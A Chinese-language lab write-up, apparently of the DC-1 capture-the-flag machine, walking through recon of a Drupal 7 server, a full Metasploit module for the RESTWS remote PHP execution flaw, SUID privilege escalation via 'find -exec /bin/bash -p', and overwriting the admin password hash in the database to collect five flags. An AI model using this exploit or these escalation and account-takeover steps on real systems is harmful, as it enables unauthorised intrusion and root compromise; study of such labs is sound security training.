如果是虚拟机打开报错,可以尝试一下更改
信息收集
arp-scan -l
192.168.56.144
开放端口信息
也就是ssh,和web,Drupal,像这种CMS最直接的就是历史漏洞了,这个界面太熟悉了
Drupal7版本,Apache-HTTP-Server/2.2.22][jQuery][Apache/2.2.22 (Debian)][PHP/5.4.45
以下漏洞文件结合了这两种漏洞,以便同时执行权限提升、SQL 注入和 RCE。攻击者必须猜测或找到端点 URL,这可以稍微缓解漏洞的影响
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info={})
super(update_info(info,
'Name' => 'Drupal RESTWS Module 7.x Remote PHP Code Execution',
'Description' => %q{
This module exploits the Drupal RESTWS module vulnerability.
RESTWS alters the default page callbacks for entities to provide
additional functionality. A vulnerability in this approach allows
an unauthenticated attacker to send specially crafted requests resulting
in arbitrary PHP execution
This module was tested against RESTWS 7.x with Drupal 7.5
installation on Ubuntu server.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Devin Zuczek', # discovery
'Mehmet Ince <mehmet@mehmetince.net>' # msf module
],
'References' =>
[
['URL', 'https://www.drupal.org/node/2765567'],
['URL',
'https://www.mehmetince.net/exploit/drupal-restws-module-7x-remote-php-code-execution']
],
'Privileged' => false,
'Payload' =>
{
'DisableNops' => true
},
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' => [ ['Automatic', {}] ],
'DisclosureDate' => 'Jul 13 2016',
'DefaultTarget' => 0
))
register_options(
[
OptString.new('TARGETURI', [ true, "The target URI of the
Drupal installation", '/'])
], self.class
)
end
def check
r = rand_text_alpha(8 + rand(4))
url = normalize_uri(target_uri.path, "?q=taxonomy_vocabulary/", r
, "/passthru/echo%20#{r}")
res = send_request_cgi(
'method' => 'GET',
'uri' => url
)
if res && res.body =~ /#{r}/
return Exploit::CheckCode::Appears
end
return Exploit::CheckCode::Safe
end
def exploit
random = rand_text_alpha(1 + rand(2))
url = normalize_uri(target_uri.path,
"?q=taxonomy_vocabulary/",
random ,
"/passthru/",
Rex::Text.uri_encode("php -r
'eval(base64_decode(\"#{Rex::Text.encode_base64(payload.encoded)}\"));'")
)
send_request_cgi(
'method' => 'GET',
'uri' => url
)
end
end
漏洞利用
search drupal 7.X
info查看
run拿到shell
flag1
首先拿到flag1,这句话通常是用来强调配置文件的重要性 ,但是可以看到权限是www-data,尝试提取
提权
查找suid文件
suid(set uid)是linux中的一种特殊权限,suid可以让调用者以文件拥有者身份运行该文件,所以利用suid提权的核心就是运行root用户所拥有的suid的文件,那么运行该文件的时候就得获得root用户的身份了。
具有suid权限的二进制可执行文件有
nmap
vim
find
bash
more
less
nano
cp
awk
几个常见的命令
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;
以find / -perm -u=s -type f 2>/dev/null讲解一下各个参数代表什么
find / -perm -u=s -type f 2>/dev/null
/表示从文件系统的顶部(根)开始并找到每个目录
-perm 表示搜索随后的权限
-u = s表示查找root用户拥有的文件
-type表示我们正在寻找的文件类型
f 表示常规文件,而不是目录或特殊文件
2表示该进程的第二个文件描述符,即stderr(标准错误)
>表示重定向
/dev/null是一个特殊的文件系统对象,它将丢弃写入其中的所有内容。
利用以上这几个命令可以找到正在系统上运行的所有suid可执行文件。
也可以使用sudo -l 列出当前用户可执行的命令
suid提权
find
find 具有suid权限的filename -exec whoami \; -quit
#root
find 具有suid权限的filename -exec /bin/sh -p \; -quit
#whoami
#root
suid文件查询到了/usr/bin/find 有suid权限
touch kun.txt #创建1.txt
#/usr/bin/find kun.txt -exec whoami \;
find kun.txt -exec /bin/bash -p \;
//或者
echo >kun
find kun -exec /bin/bash -p \;
whoami
flag2
接着根据线索提示,可以搜到Drupal的配置文件为sites/default/settings.php
找到数据库信息
连接数据库
查询users表里数据,密码是加盐的密码( 加盐是增强密码存储安全性的重要技术,通过增加随机数据使每个密码哈希值唯一,有效防止了一些常见的密码破解攻击 )很难破解,所以修改用户密码进行替换来解决
$S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR
加密脚本
在www目录下有个脚本文件password-hash.sh
./scripts/password-hash.sh admin123
将admin123进行加密:$S$DqBSBbRrj.fSWI85oItKoPDwrIYHYVKnwsAE4N/HH4U5w6cSEsNa
替换数据
update users set pass='$S$DqBSBbRrj.fSWI85oItKoPDwrIYHYVKnwsAE4N/HH4U5w6cSEsNa' where name='admin';
账号密码已成功更新,admin ,admin123
flag3
点击仪表板找到flag3
flag4
根据提示,查看etc/passwd
flag5
这里是需要提权,前面已经操作了,直接在/root找到flag
参考:https://xz.aliyun.com/t/12535?time__1311=GqGxuCitqWq052x%2BxCqiK41Djh2AkbqT4D
https://www.ambionics.io/blog/drupal-services-module-rce?winzoom=1